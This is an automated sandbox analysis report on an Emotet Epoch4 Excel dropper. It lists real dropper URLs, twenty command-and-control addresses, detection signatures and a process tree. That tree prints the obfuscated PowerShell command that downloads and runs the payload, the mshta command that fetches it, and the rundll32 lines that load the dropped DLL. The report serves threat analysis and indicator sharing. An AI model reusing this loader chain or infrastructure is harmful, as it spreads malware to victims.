Analysis

  • max time kernel
    121s
  • max time network
    167s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 18:42

General

  • Target
    tmpa_7wcrfz.xls
  • Size 155KB
  • Sample220127-xcq25shahn
  • SHA256 c35dd21fc559e98eb140ef16e2deff9a25c9a4f41a30799057d9d5bc1f657e3a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpa_7wcrfz.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2800
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1044
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2760
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1260
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:972
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:588
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2924
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tpgycgdxjghvi\xxzcwvdzpw.khz",WXSqDuld
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:512
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tpgycgdxjghvi\xxzcwvdzpw.khz",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1148
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2760 -s 1656
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:400

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1148-382-0x0000000005300000-0x0000000005325000-memory.dmp

        memory/1148-380-0x0000000005200000-0x0000000005225000-memory.dmp

        memory/1148-378-0x0000000005120000-0x0000000005145000-memory.dmp

        memory/1148-376-0x0000000005040000-0x0000000005065000-memory.dmp

        memory/1148-374-0x0000000004F50000-0x0000000004F75000-memory.dmp

        memory/1148-371-0x0000000004A10000-0x0000000004A35000-memory.dmp

        memory/1260-286-0x0000027ED5440000-0x0000027ED5442000-memory.dmp

        memory/1260-277-0x0000027EEF190000-0x0000027EEF1B2000-memory.dmp

        memory/1260-310-0x0000027EEF880000-0x0000027EEF8F6000-memory.dmp

        memory/1260-315-0x0000027ED5446000-0x0000027ED5448000-memory.dmp

        memory/1260-287-0x0000027ED5443000-0x0000027ED5445000-memory.dmp

        memory/1260-298-0x0000027EEF310000-0x0000027EEF34C000-memory.dmp

        memory/2800-119-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2800-116-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2800-398-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2800-397-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2800-396-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2800-395-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2800-117-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2800-118-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2800-129-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

        memory/2800-128-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

        memory/2800-115-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

        memory/2924-366-0x0000000005910000-0x0000000005935000-memory.dmp

        memory/2924-364-0x0000000005750000-0x0000000005775000-memory.dmp

        memory/2924-353-0x0000000003670000-0x0000000003695000-memory.dmp

        memory/2924-362-0x00000000056F0000-0x0000000005715000-memory.dmp

        memory/2924-360-0x0000000005690000-0x00000000056B5000-memory.dmp

        memory/2924-358-0x0000000005530000-0x0000000005555000-memory.dmp

        memory/2924-356-0x0000000005400000-0x0000000005425000-memory.dmp